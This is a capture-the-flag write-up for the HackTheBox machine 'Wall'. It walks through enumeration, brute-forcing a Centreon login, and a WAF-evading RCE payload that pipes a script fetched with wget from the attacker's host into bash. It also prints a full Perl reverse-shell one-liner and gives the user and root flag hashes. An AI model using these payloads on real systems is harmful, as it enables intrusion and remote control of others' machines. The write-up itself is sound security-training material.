Summary
Wall,a Linux box created by HackTheBox user askar, was an overall medium difficulty box.The initial foothold was finding the cred for centreon
server and the seeing the version is vulnerable and have a RCE using that, we get the reverse shell and user. Privilege Escalation was super simple after enumerating we find screen
is a SUID
and have a exploit
on SearchSploit
for that version. Using that we get the root shell.
Enumeration
nmap
1 | # Nmap 7.70 scan initiated Wed Sep 18 10:12:11 2019 as: nmap -sC -sV -oN nmap/wall 10.10.10.157 |
We see only port 22 and port 80 is open.
Enumerating more we find /monitoring
to be interesting but doing a GET
request on that we see we are asked for a user name and password. But doing a POST
request we see we are redirected to /centreon
.
Accessing this new App we discovered that this version 19.04
of centreon is being used.
Searching centreon
in searchsploit we can see that this version is vulnerable to authenticated RCE.
Its look like we need to grab some valid credentials, but default ones (admin:centreon) are not working.
I wrote this script to brute-force the authentication.
1 | import requests |
After few minutes we can find the valid password: password1
.
Now that we have valid credentials we can try to use the RCE exploit. But it will not work because of there is a WAF that is blacklisting some bash commands and some symbols (like space).
Every time the WAF discovers something malicious a 403 is returned.
After playing around with the exploit i was able to get it working.
1 | payload = """wget${{IFS}}-qO-${{IFS}}http://{0}:8888/payload.sh${{IFS}}|${{IFS}}bash;""".format(ip, port) |
to the above to let the script do a get request on our machine and get a payload.sh
which contain a reverse shell.
1 | perl -e 'use Socket;$i="10.10.X.X";$p=53;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
Trying that we see we were able to do a get request but we didn’t get a shell back.
This can mean there is a firewall which is preventing to get us a shell.Trying some common ports we see we can get a reverse shell back on port 53
as that was allowed by the firewall.
We get the connection back and we can read the user.txt
fe6194544f452f62dc905b12f8da8406Privilege Escalation
Running LinEnum.sh. We see that /bin/screen-4.5.0
is present and is a SUID
binary.
Searching on searchsploit we see an exploit for the used version.
Using that we get root on this box.
and we can read root.txt 1fdbcf8c33eaa2599afdc52e1b4d5db7
and we have pwned Wall
💃